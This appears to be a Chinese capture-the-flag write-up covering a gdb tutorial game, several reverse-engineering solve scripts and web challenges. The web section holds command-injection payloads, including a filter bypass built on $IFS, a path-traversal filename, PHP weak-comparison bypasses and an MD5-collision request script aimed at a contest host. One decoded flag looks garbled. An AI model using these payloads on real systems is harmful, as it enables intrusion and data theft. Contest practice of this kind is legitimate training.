⚔️  当前总攻击力: 60🆕 新场景解锁: 神秘洞穴地址: 0x403000(gdb) help=== 🎮 调试魔法手册 ===📍 导航命令:b <地址>      - 设置传送点到指定位置c             - 前往传送点where         - 查看当前位置status        - 查看角色状态🔍 观察命令:i r           - 查看所有寄存器x/<n>x <地址> - 查看内存内容p <变量>      - 打印变量值或查找符号地址disas <地址>  - 反汇编代码bt            - 查看调用栈🛠️ 修改命令:set $reg=<值> - 设置寄存器值👣 执行命令:s             - 单步执行n             - 下一步🎯 游戏命令:answer <值>   - 提交任务答案battle        - 挑战巨龙(需要完成所有场景)quit          - 退出游戏💡 当前任务提示:洞穴精灵:'设置传送点到河流(0x404000),然后使用continue前往。到达后查看rax寄存器的值告诉我。'(gdb) b 0x404000
Breakpoint 1 at 0x404000: 魔法河流(gdb) c
Continuing.Breakpoint 1, 0x404000 <魔法河流>📍 当前位置: 0x404000 - 魔法河流流淌着魔法能量的神秘河流📋 任务: 河神:'小心前进!使用step走3步,然后查看rip的值。每一步都会改变你的位置。'
🎓 技能: step🎯 到达河流!现在查看rax的值并提交答案。使用 'answer <值>' 提交(gdb) s
0x404004 in current_function ()
💧 河流的魔法影响了你的移动...🎯 到达河流!现在查看rax的值并提交答案。使用 'answer <值>' 提交(gdb) s
0x404008 in current_function ()
💧 河流的魔法影响了你的移动...🎯 到达河流!现在查看rax的值并提交答案。使用 'answer <值>' 提交(gdb) s
0x40400c in current_function ()
💧 河流的魔法影响了你的移动...
💡 提示:你已经走了3步,检查你的rip值!🎯 到达河流!现在查看rax的值并提交答案。使用 'answer <值>' 提交(gdb) i r=== 📊 寄存器状态 ===
rax            0x1337            
rbx            0x13              
rcx            0xcafebabe        
rdx            0xdeadc0de        
rsi            0x12345678        
rdi            0x87654321        
rbp            0x7fffffffe010      ← 栈底
rsp            0x7fffffffe000      ← 栈顶
r8             0x8888888888888888
r9             0x9999999999999999
r10            0xaaaaaaaaaaaaaaaa
r11            0xbbbbbbbbbbbbbbbb
r12            0xcccccccccccccccc
r13            0xdddddddddddddddd
r14            0xeeeeeeeeeeeeeeee
r15            0xffffffffffffffff
rip            0x40400c            ← 当前位置
eflags         0x246             🎯 到达河流!现在查看rax的值并提交答案。使用 'answer <值>' 提交(gdb) answer 0x1337
✅ 正确! 神秘洞穴 场景完成!
🎁 获得装备: ⚔️ 洞穴利刃 (+40攻击力)在黑暗中发光的武器
⚔️  当前总攻击力: 100🆕 新场景解锁: 魔法河流地址: 0x404000(gdb) help=== 🎮 调试魔法手册 ===📍 导航命令:b <地址>      - 设置传送点到指定位置c             - 前往传送点where         - 查看当前位置status        - 查看角色状态🔍 观察命令:i r           - 查看所有寄存器x/<n>x <地址> - 查看内存内容p <变量>      - 打印变量值或查找符号地址disas <地址>  - 反汇编代码bt            - 查看调用栈🛠️ 修改命令:set $reg=<值> - 设置寄存器值👣 执行命令:s             - 单步执行n             - 下一步🎯 游戏命令:answer <值>   - 提交任务答案battle        - 挑战巨龙(需要完成所有场景)quit          - 退出游戏💡 当前任务提示:河神:'小心前进!使用step走3步,然后查看rip的值。每一步都会改变你的位置。'(gdb) answer 0x40400c
✅ 正确! 魔法河流 场景完成!
🎁 获得装备: 🔱 河神三叉戟 (+50攻击力)控制水流的神器
⚔️  当前总攻击力: 150🆕 新场景解锁: 高山之巅地址: 0x405000(gdb) help=== 🎮 调试魔法手册 ===📍 导航命令:b <地址>      - 设置传送点到指定位置c             - 前往传送点where         - 查看当前位置status        - 查看角色状态🔍 观察命令:i r           - 查看所有寄存器x/<n>x <地址> - 查看内存内容p <变量>      - 打印变量值或查找符号地址disas <地址>  - 反汇编代码bt            - 查看调用栈🛠️ 修改命令:set $reg=<值> - 设置寄存器值👣 执行命令:s             - 单步执行n             - 下一步🎯 游戏命令:answer <值>   - 提交任务答案battle        - 挑战巨龙(需要完成所有场景)quit          - 退出游戏💡 当前任务提示:山神:'查看你的调用栈。使用 x/4x $rsp 查看栈顶的4个值,告诉我第3个值。'(gdb) x/4x $rsp0x7fffffffe000: 0x0000000011111111      ; 栈顶
0x7fffffffe008: 0x0000000022222222      ; 栈+8
0x7fffffffe010: 0x00000000abcdef00      ; 栈+16
0x7fffffffe018: 0x0000000044444444      ; 栈+24(gdb) answer 0x00000000abcdef00
✅ 正确! 高山之巅 场景完成!
🎁 获得装备: 🏔️ 山巅之锤 (+60攻击力)蕴含山岳之力
⚔️  当前总攻击力: 210🆕 新场景解锁: 古代遗迹地址: 0x406000(gdb) help=== 🎮 调试魔法手册 ===📍 导航命令:b <地址>      - 设置传送点到指定位置c             - 前往传送点where         - 查看当前位置status        - 查看角色状态🔍 观察命令:i r           - 查看所有寄存器x/<n>x <地址> - 查看内存内容p <变量>      - 打印变量值或查找符号地址disas <地址>  - 反汇编代码bt            - 查看调用栈🛠️ 修改命令:set $reg=<值> - 设置寄存器值👣 执行命令:s             - 单步执行n             - 下一步🎯 游戏命令:answer <值>   - 提交任务答案battle        - 挑战巨龙(需要完成所有场景)quit          - 退出游戏💡 当前任务提示:遗迹守护者:'解读古代符文。使用 disas 0x406000 查看这里的指令,告诉我第一条指令的操作码。'(gdb) disas 0x406000
Dump of assembler code for function at 0x406000:0x00406000:  55                      push   rbp0x00406001:  48 89 e5                mov    rbp,rsp0x00406004:  48 83 ec 10             sub    rsp,0x100x00406008:  c7 45 fc 00             mov    DWORD PTR [rbp-0x4],0x00x0040600d:  c9                      leave0x0040600e:  c3                      ret
End of assembler dump.(gdb) answer 55
✅ 正确! 古代遗迹 场景完成!
🎁 获得装备: 📜 古代卷轴 (+70攻击力)记载失落魔法
⚔️  当前总攻击力: 280🆕 新场景解锁: 危险吊桥地址: 0x407000(gdb) help=== 🎮 调试魔法手册 ===📍 导航命令:b <地址>      - 设置传送点到指定位置c             - 前往传送点where         - 查看当前位置status        - 查看角色状态🔍 观察命令:i r           - 查看所有寄存器x/<n>x <地址> - 查看内存内容p <变量>      - 打印变量值或查找符号地址disas <地址>  - 反汇编代码bt            - 查看调用栈🛠️ 修改命令:set $reg=<值> - 设置寄存器值👣 执行命令:s             - 单步执行n             - 下一步🎯 游戏命令:answer <值>   - 提交任务答案battle        - 挑战巨龙(需要完成所有场景)quit          - 退出游戏💡 当前任务提示:桥梁守卫:'这座桥很危险!只有当你的勇气值(rbx)达到0x42时才能安全通过。先查看当前rbx值,然后使用 set $rbx=0x42 设置你的勇气值,最后告诉我你设置的值。'(gdb) set $rbx=0x42
$rbx = 0x42(gdb) answer 0x42
✅ 正确! 危险吊桥 场景完成!
🎁 获得装备: 🌉 平衡护符 (+80攻击力)保持内心平静
⚔️  当前总攻击力: 360🆕 新场景解锁: 神圣神殿地址: 0x408000(gdb) help=== 🎮 调试魔法手册 ===📍 导航命令:b <地址>      - 设置传送点到指定位置c             - 前往传送点where         - 查看当前位置status        - 查看角色状态🔍 观察命令:i r           - 查看所有寄存器x/<n>x <地址> - 查看内存内容p <变量>      - 打印变量值或查找符号地址disas <地址>  - 反汇编代码bt            - 查看调用栈🛠️ 修改命令:set $reg=<值> - 设置寄存器值👣 执行命令:s             - 单步执行n             - 下一步🎯 游戏命令:answer <值>   - 提交任务答案battle        - 挑战巨龙(需要完成所有场景)quit          - 退出游戏💡 当前任务提示:神殿祭司:'追溯你的来路。使用 bt 查看调用栈,告诉我栈帧的数量。'(gdb) bt
#0  0x0040400c in scene_function () at adventure.c:100
#1  0x00403f0c in game_loop () at adventure.c:200
#2  0x00403e0c in main () at adventure.c:300
#3  0x00007ffff7123456 in __libc_start_main () from /lib/libc.so.6
#4  0x000000000040108e in _start ()(gdb) answer 5
✅ 正确! 神圣神殿 场景完成!
🎁 获得装备: ⛪ 神圣十字 (+90攻击力)净化邪恶之力
⚔️  当前总攻击力: 450🆕 新场景解锁: 迷宫深处地址: 0x409000(gdb) help=== 🎮 调试魔法手册 ===📍 导航命令:b <地址>      - 设置传送点到指定位置c             - 前往传送点where         - 查看当前位置status        - 查看角色状态🔍 观察命令:i r           - 查看所有寄存器x/<n>x <地址> - 查看内存内容p <变量>      - 打印变量值或查找符号地址disas <地址>  - 反汇编代码bt            - 查看调用栈🛠️ 修改命令:set $reg=<值> - 设置寄存器值👣 执行命令:s             - 单步执行n             - 下一步🎯 游戏命令:answer <值>   - 提交任务答案battle        - 挑战巨龙(需要完成所有场景)quit          - 退出游戏💡 当前任务提示:迷宫守护者:'找到隐藏的钥匙。在0x409100处有个指针,跟踪它指向的值。'(gdb) x/10x 0x4091000x409100:       0x0000000000409200      ; 神秘指针
0x409108:       0x00000049a8ee91c7
0x409110:       0x00000049a8e1f7bf
0x409118:       0x00000049a8f8dd97
0x409120:       0x00000049a8f3c34f
0x409128:       0x00000049a8ca2927
0x409130:       0x00000049a8dd0f1f
0x409138:       0x00000049a8d472f7(gdb) x/10x 0x00000000004092000x409200:       0x0000000088888888      ; 隐藏钥匙
0x409208:       0x00000049a9cbcac7
0x409210:       0x00000049a9c230bf
0x409218:       0x00000049a9d51697
0x409220:       0x00000049a92c7c4f
0x409228:       0x00000049a9276227
0x409230:       0x00000049a93e481f
0x409238:       0x00000049a930aff7(gdb) answer 0x0000000088888888
✅ 正确! 迷宫深处 场景完成!
🎁 获得装备: 🗝️ 迷宫钥匙 (+100攻击力)开启所有道路
⚔️  当前总攻击力: 550🆕 新场景解锁: 龙巢大门地址: 0x40a000(gdb) help=== 🎮 调试魔法手册 ===📍 导航命令:b <地址>      - 设置传送点到指定位置c             - 前往传送点where         - 查看当前位置status        - 查看角色状态🔍 观察命令:i r           - 查看所有寄存器x/<n>x <地址> - 查看内存内容p <变量>      - 打印变量值或查找符号地址disas <地址>  - 反汇编代码bt            - 查看调用栈🛠️ 修改命令:set $reg=<值> - 设置寄存器值👣 执行命令:s             - 单步执行n             - 下一步🎯 游戏命令:answer <值>   - 提交任务答案battle        - 挑战巨龙(需要完成所有场景)quit          - 退出游戏💡 当前任务提示:大门守卫:'要打开这扇门,你必须找到古老的系统魔法。使用 p system 查找系统魔法的地址,告诉我它的地址值。'(gdb) p system
$5 = {<text variable, no debug info>} 0x7ffff7e50000 <system>(gdb) answer 0x7ffff7e50000
✅ 正确! 龙巢大门 场景完成!
🎁 获得装备: 🔮 系统法杖 (+110攻击力)掌控系统魔法
⚔️  当前总攻击力: 660🎊 所有场景完成!你可以挑战巨龙了!使用 'battle' 命令开始最终决战(gdb) battle🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥最 终 决 战 !
🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🐉 BUG巨龙出现了!巨龙生命值: 1000你的攻击力: 660你的生命值: 100=== 第 1 回合 ===
⚔️  你造成了 665 点伤害!
🔥 巨龙造成了 61 点伤害!巨龙剩余: 335 | 你的剩余: 39=== 第 2 回合 ===
⚔️  你造成了 695 点伤害!
🎉🎉🎉 胜利!🎉🎉🎉
你击败了BUG巨龙!👑 公主:"谢谢你,勇敢的调试骑士!"
👑 公主:"你不仅救了我,还掌握了强大的GDB魔法!"
👑 公主:"这是给你的奖励..."🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆恭 喜 通 关 !
🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🏆🚩 FLAG: flag{6D6_m@STEr_dR4G0N_$l4YEr_2oZS}📜 你的成就:✅ 掌握了 info registers 命令✅ 学会了内存查看技巧✅ 理解了断点和继续执行✅ 掌握了单步调试✅ 学会了栈分析✅ 理解了反汇编✅ 掌握了寄存器修改✅ 学会了符号查找✅ 掌握了指针追踪✅ 成为了GDB调试大师!📊 最终统计:等级: 11总攻击力: 660命令使用: 35正确率: 100.0%📄 成就证书已保存到 gdb_victory.txt想知道更多gdb的秘密吗,想掌握更强大的调试魔法吗,不断地使用gdb吧。总有一天你会成为最厉害的调试骑士!!!

reverce

8086ASM

题目描述:

你的汇编入门了吗?

附件是一个asm文件

.MODEL SMALL
.STACK 100H
.DATAWELCOME_MSG db 'Welcome to 8086ASM.', 0DH, 0AH, '$'INPUT_MSG db 'Input your flag:', '$'WRONG_MSG db 0DH, 0AH, 'Wrong.', 0DH, 0AH, '$'CORRECT_MSG db 0DH, 0AH, 'Correct.', 0DH, 0AH, '$' DATA1 DB 0BBH, 01BH, 083H, 08CH, 036H, 019H, 0CCH, 097HDB 08DH, 0E4H, 097H, 0CCH, 00CH, 048H, 0E4H, 01BHDB 00EH, 0D7H, 05BH, 065H, 01BH, 050H, 096H, 006HDB 03FH, 019H, 00CH, 04FH, 04EH, 0F9H, 01BH, 0D7HDB 0CH, 01DH, 0A0H, 0C6HDATA2 DW 01122H, 03344H, 01717H, 09090H, 0BBCCH INPUT_BUFFER db 37 dup(0)BUFFER db 37 dup(0)
.CODESTART:MOV AX, @DATAMOV DS, AXMOV AH, 09HMOV DX, OFFSET WELCOME_MSGINT 21HMOV DX, OFFSET INPUT_MSGINT 21HMOV AH,0AHMOV DX, OFFSET INPUT_BUFFERMOV BYTE PTR[INPUT_BUFFER], 37INT 21HCALL ENCRYPTMOV DI, OFFSET DATA1MOV SI, OFFSET INPUT_BUFFER + 2MOV CX, 35
LOOP1:MOV AX, [DI]CMP AX, [SI]JNE WRONG_EXITINC DIINC SILOOP LOOP1JMP CORRECT_EXIT
WRONG_EXIT:MOV AH,09HLEA DX,WRONG_MSGINT 21HJMP EXIT
CORRECT_EXIT:MOV AH,09HLEA DX,CORRECT_MSGINT 21HJMP EXIT
EXIT:MOV AX, 4C00HINT 21H
ENCRYPT PROCPUSH AXPUSH BXPUSH CXMOV SI, OFFSET INPUT_BUFFER + 2MOV BX, OFFSET DATA2MOV CX, 35
LOOP2:PUSH CXMOV CL, 2MOV AL, [SI]ROR AL, CLPOP CXMOV [SI], ALMOV AX, WORD PTR[SI]XOR AX, WORD PTR[BX]MOV WORD PTR[SI], AXINC SIADD BX, 2CMP BX, OFFSET DATA2 + 10JNE CASE1MOV BX, OFFSET DATA2 
CASE1:LOOP LOOP2POP CXPOP BXPOP AXRET
ENCRYPT ENDP END START

是汇编,直接ai搓脚本,gpt直接出flag了

DATA1 = [0xBB,0x1B,0x83,0x8C,0x36,0x19,0xCC,0x97,0x8D,0xE4,0x97,0xCC,0x0C,0x48,0xE4,0x1B,0x0E,0xD7,0x5B,0x65,0x1B,0x50,0x96,0x06,0x3F,0x19,0x0C,0x4F,0x4E,0xF9,0x1B,0xD7,0x0C,0x1D,0xA0,0xC6,
]DATA2 = [0x1122, 0x3344, 0x1717, 0x9090, 0xBBCC]def rol8(x, k):return ((x << k) & 0xFF) | (x >> (8 - k))b = DATA1[:]# 倒序恢复 35 步
for i in range(34, -1, -1):w = DATA2[i % 5]wl = w & 0xFFwh = (w >> 8) & 0xFFb[i+1] ^= whb[i] = rol8(b[i] ^ wl, 2)flag = bytes(b)
print(flag.decode('latin1'))"""
flag{W31c0m3_t0_8086_A5M_W0RlD___!!}
"""

PlzDebugMe

题目描述:

超级简单呢~快去尝试debug出flag吧!

die查壳看一下信息,没壳

ida分析,没有main函数,那就看start

主要加密逻辑在sub_401697,有参数计数dword_415024,参数数组dword_415020

接下来分析sub_401697函数

这是一个flag的加密程序

  1. 程序检查输入的flag格式:必须以"flag{"开头,以"}"结尾
  2. 对每个字符进行<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">sub_40167D</font>函数处理
  3. 处理后的结果与<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">byte_410020</font>数组进行比较

byte_410020:

而sub_40167D -> sub_401656 -> dword_415080

加密算法使用线性同余生成器(LCG)作为伪随机数生成器,每个字符与LCG生成的随机数进行XOR操作

这是发现LCG的初始种子是123456

exp:

def decrypt_flag():encrypted_flag = [0x5B, 0x50, 0xA1, 0x25, 0x84, 0x8E, 0x61, 0xC4, 0x6B, 0xBB, 0xAE, 0x05, 0x0B, 0xC6, 0x3D, 0x42, 0x5A, 0xFB, 0xC1, 0xC9, 0x4E, 0xE9, 0x8D, 0x50, 0x91, 0x87, 0x87, 0x24, 0xAD, 0xAF, 0xD5, 0x36]seed = 123456def lcg_random():nonlocal seedseed = (1103515245 * seed + 12345) & 0xFFFFFFFFreturn (seed >> 16) & 0x7FFFflag_chars = []for i in range(32):rand_byte = lcg_random() & 0xFFdecrypted_char = encrypted_flag[i] ^ rand_byteflag_chars.append(chr(decrypted_char))flag = ''.join(flag_chars)return flagif __name__ == "__main__":flag = decrypt_flag()print(f"{flag}")"""
flag{Y0u_Kn0w_H0w_t0_D3bug!!!!!}
"""

ezCSharp

题目描述:

用ida看不懂?那就对了,建议换个工具(你知道dnspy吗?)

用dnspy打开附件

查看Main,这是主要算法逻辑

再看看FlagContainer类

找到加密密文“D1ucj0u!tqjwf!fohjoffsjoh!xj!epspqz!ju!gvo!2025”

exp:

def decode_flag(encoded):array = list(encoded)for i in range(len(array)):c = array[i]if c == '!':array[i] = '_'elif 'a' <= c <= 'z':array[i] = chr(ord(c) - 1)return ''.join(array)# 原始编码字符串
encoded_flag = "D1ucj0u!tqjwf!fohjoffsjoh!xj!epspqz!ju!gvo!2025"# 调用解码函数
decoded_flag = decode_flag(encoded_flag)# 输出解码结果
print(f"flag{{{decoded_flag}}}")"""
flag{D1tbi0t_spive_engineering_wi_doropy_it_fun_2025}
"""

ezCalculate

die查壳,这里没有壳

ida分析,看main,就是一些简单的算数,还有注释“wwqessgxsddkaao123wms”,都在key后,猜测这是key

找到加密数据

exp:

# 已知数据
key = "wwqessgxsddkaao123wms"
target = [0x33, 0x1D, 0x32, 0x44, 0x2A, 0x54, 0x45, 0x2C, 0x2E, 0x74,0x8C, 0x4B, 0x40, 0x42, 0x43, 0x73, 0x71, 0x82, 0x24, 0x35, 0x10]def decrypt(target, key):length = len(target)key_len = len(key)step1 = [target[i] + ord(key[i % key_len]) for i in range(length)]step2 = [step1[i] ^ ord(key[i % key_len]) for i in range(length)]step3 = [step2[i] - ord(key[i % key_len]) for i in range(length)]flag = ''.join(chr(c & 0xFF) for c in step3)return flagflag = decrypt(target, key)
print(f"{flag}")"""
flag{Add_X0r_and_Sub}
"""

jvav

题目描述:

觉得Main很史可以直接去看加密

附件是一个APK,jadx打开进行分析,先找main

分析加密逻辑

public static final Unit MainScreen$lambda$10$lambda$9$lambda$8(MutableState mutableState, MutableState mutableState2) {String str;if (EncKt.checker(MainScreen$lambda$1(mutableState))) {str = "right";} else {str = "wrong";}mutableState2.setValue(str);return Unit.INSTANCE;
}
}

定位EncKt.checker,进行分析

EncKt.checker:

1、先进行base64加密

2、再对每字节按位取值

3、再向左进行移位

写个逆向脚本:

import base64TARGET_SIGNED = [-89, 96, 102, 118, -89, -122, 103, -103, -125, -95, 114, 117,-116, -102, 114, -115, -125, 108, 110, 118, -91, -83, 101, -115,-116, -114, 124, 114, -123, -87, -87, -114, 121, 108, 124, -114
]def to_u8(x):return (x + 256) % 256def inv_rounder(arr):n = len(arr)pre = [0]*nfor j in range(n):pre[j] = arr[(j - 5) % n]return predef inv_confuser_byte(b):return (((~b) & 0xFF) ^ 11) - 32 & 0xFFif __name__ == "__main__":target_u8 = [to_u8(x) for x in TARGET_SIGNED]pre_confuser = inv_rounder(target_u8)base64_bytes = bytes(inv_confuser_byte(b) for b in pre_confuser)flag = base64.b64decode(base64_bytes).decode('utf-8')print(flag)"""
flag{kotl1n_is_also_java}
"""

web

Gitttttttt

题目描述:

今天布置网站的时候发现本地怎么有个.git文件夹,那是什么?无所谓了,我的静态网页不可能存在漏洞!

根据题目,应该是git泄漏

打开txt

Ping??

题目描述:

给你一个ping工具,然后狠狠的想办法ping我吧

打开页面

想到rce

127.0.0.1|ls

127.0.0.1|cat flag.txt

有过滤,把flag过滤了,变量绕过

127.0.0.1;x=ag;cat$IFS$1fl$x.php

from_http

题目描述:

从http入门吧~

进入页面

加个UA头

GET传参welcome=to

POST传参the= ?CTF

cookie:wishu=happiness

Referer:?CTF

X-Forwarded-For: 127.0.0.1

secret of php

题目描述:

php小特性

有四个附件

FROM php:7.4.3-apacheCOPY index.php /var/www/html/
COPY flag.php /var/www/html/
COPY Flll4g.php /var/www/html/ENTRYPOINT ["/bin/bash", "-c", "export A1CTF_FLAG=flag{$(openssl rand -hex 16)} && exec apache2-foreground"]
<?php$flag = getenv("FLAG");
$path = "/Flll4g.php";
<?phphighlight_file(__FILE__);
include('flag.php');
$a = $_POST['a'];
$b = $_POST['b'];if (isset($a) && isset($b)){if ($a !== $b && md5($a) == md5($b)){echo "<br>yes<br>";} else {die("no");}$a = $_REQUEST['aa'];$b = $_REQUEST['bb'];if ($a !== $b && md5((string)$a) === md5((string)$b)){echo "yes yes<br>";} else {die("no no");}$a = $_REQUEST['aaa'];$b = $_REQUEST['bbb'];if ((string)$a !== (string)$b && md5((string)$a) === md5((string)$b)){echo "yes yes yes<br>";echo "Congratulations! You have passed the second level, the flag is ".$flag."<br>";} else {die("no no no");}
} else {echo "a or b is not set<br>";
}
<?phphighlight_file(__FILE__);
include("flag.php");
$a = $_GET['a'];if (isset($a)){if($a === "2025") {die("no");} else {echo "<br>"."yes"."<br>";}if(intval($a,0) === 2025) {echo "yes yes"."<br>";echo "Congratulations! You have passed the first level, the next level is ".$path."<br>";} else {die("no no");}
} else {echo "a is not set"."<br>";
}

进入页面

payload:a=0x7e9

但附件都给目录路径了,不理解

第一层

$a !== $b && md5($a) == md5($b)

弱比较

第二层

$a !== $b && md5((string)$a) === md5((string)$b)

加个数组就行了

第三层

(string)$a !== (string)$b && md5((string)$a) === md5((string)$b)

经典二进制md5碰撞

payload:

import requests
import hashlib
import reurl = 'http://challenge.ilovectf.cn:30731/Flll4g.php'collision1 = b'\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2'
collision2 = b'\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2'md5_1 = hashlib.md5(collision1).hexdigest()
md5_2 = hashlib.md5(collision2).hexdigest()
#print(f"MD5碰撞验证: {md5_1} == {md5_2} -> {md5_1 == md5_2}")
#print(f"碰撞对长度: {len(collision1)}, {len(collision2)}")try:files = {'a': (None, 'QNKCDZO'),'b': (None, '240610708'),'aa': (None, collision1, 'application/octet-stream'),'bb': (None, collision2, 'application/octet-stream'),'aaa': (None, collision1, 'application/octet-stream'),'bbb': (None, collision2, 'application/octet-stream')}response = requests.post(url, files=files, timeout=10)#print('\n状态码:', response.status_code)clean_content = re.sub(r'<[^>]+>', '', response.text)clean_content = re.sub(r'&[^;]+;', '', clean_content)clean_content = clean_content.replace(' ', '').replace('\n', ' ')#print('\n清理后的响应内容 (简化):')#print(clean_content[:1000])#if 'yesyesyes' in clean_content:#print('\n=== 成功通过所有验证 ===')if 'flag' in clean_content.lower() or 'congratulations' in clean_content.lower():flag_pattern = re.compile(r'flag\\{[^}]+\\}', re.IGNORECASE)matches = flag_pattern.findall(clean_content)if matches:for match in matches:print( match)else:lines = response.text.split('\n')for line in lines:if 'flag' in line.lower() or 'congratulations' in line.lower():print(line[:200])die_messages = re.findall(r'die\\("([^"]+)\\)', clean_content)yes_count = clean_content.count('yes')no_count = clean_content.count('no')print(f'\n验证状态: yes出现{yes_count}次, no出现{no_count}次')if yes_count >= 3:print('可能已通过所有验证, 检查flag输出')except Exception as e:print(f'错误: {e}')import tracebacktraceback.print_exc()"""
<br />include(</span><
</code><br>yes<br>yes yes<br>yes yes yes<br>Congratulations! You have passed the second level, the flag is flag{cbb9655f-3a30-4b01-a5c0-1fcf91728321}<br>验证状态: yes出现12次, no出现7次
可能已通过所有验证, 检查flag输出
"""

前端小游戏

题目描述:

这是一个前端小游戏,开始寻找flag吧

进入页面

js小游戏,直接F+12看js代码

在game.js中发现一段被混淆的编码,随波逐流解密拿到flag

包含不明东西的食物?!

题目描述:

将物品投入锅里即可收获神秘礼品😋

进入页面,看输入框看了要输入点什么

输入food1.webp,有报错,但回显了绝对路径

尝试目录遍历

filename= ../../../..//var/www/html/backpack/food1.webp

再看看源码,都没什么信息

看看flag在不在根目录,直接就出了(网站后端是php,不是flag.php就是flag.txt)这题算是运气好吧~~~

http://www.hskmm.com/?act=detail&tid=34809

相关文章:

  • 2025年10月豆包排名优化服务推荐排行榜:十大服务商对比评测与选择指南
  • 为WPF应用增加项目图标
  • 基于STM32单片机的ECG心电滤波算法
  • 《掰开揉碎讲编程-长篇》一文读懂 哈希表
  • 【URP】Unity中Mipmap Streaming原理与实现
  • 如何设计PAD ring?
  • 如何把研究性学习糊弄过去
  • C#实现连续语音转文字
  • 2025 年钢结构源头厂家最新推荐排行榜:聚焦美标欧标 / 环保设备 / 厂房别墅等多领域优质供应商,精选优质厂家助力企业精准选材
  • PostgreSQL 18 中国贡献者经验分享:开源参与的四点建议
  • 2025 年碳晶板厂家最新推荐榜:涵盖木纹 / 白色 / 全屋整装等品类,西南及全国优质品牌甄选指南
  • 2025 年干细胞服务机构最新推荐排行榜:聚焦三体系认证与专利技术,精选优质机构供选择
  • 2025 最新隔音棉生产厂家口碑推荐榜:甄选家装公装专用材质,含西南 / 昆明阻尼片 / 吊顶 / 止震板品牌最新推荐
  • 2025 灭老鼠公司最新推荐榜:欧盟认证技术加持,环保服务双优品牌权威甄选指南
  • Collections集合工具类和可变参数
  • 2025 最新推荐!全国除甲醛公司权威榜单发布,解析蓉皓等标杆企业技术服务优势,覆盖新房 / 办公 / 学校多场景
  • 上周热点回顾(10.13
  • 一文读懂零知识证明Plonk 协议
  • P14259 兄妹(siblings)题解
  • 2025 年国内连接器厂家经销商最新推荐榜:聚焦优质品牌,助力企业精准采购,实力企业深度解析住友/日端/HRS连接器经销商推荐
  • P6076 [JSOI2015] 染色问题 分析
  • CF2154 Codeforces Round 1060 (Div. 2) 游记
  • 2025 最新推荐!国际物流 / 东南亚 / 跨境电商清关公司排行榜:精选优质机构助企业高效通关
  • 2025 年济南画室最新推荐品牌口碑排行榜权威发布,涵盖小班教学与全封闭管理机构,助力艺考生选优质画室
  • 2025 年最新货代公司排行榜:国内优质企业权威推荐,助力企业精准挑选靠谱合作伙伴泰国/印尼/马来/日本/东南亚货代公司推荐
  • C#转java的最好利器easy-query就是efcore4j sqlsugar4j freesql4j
  • 加密货币投资风控方案
  • 物联网设备漏洞及其对国家安全的影响分析
  • CF2128D Sum of LDS
  • 2025.10.20——1黄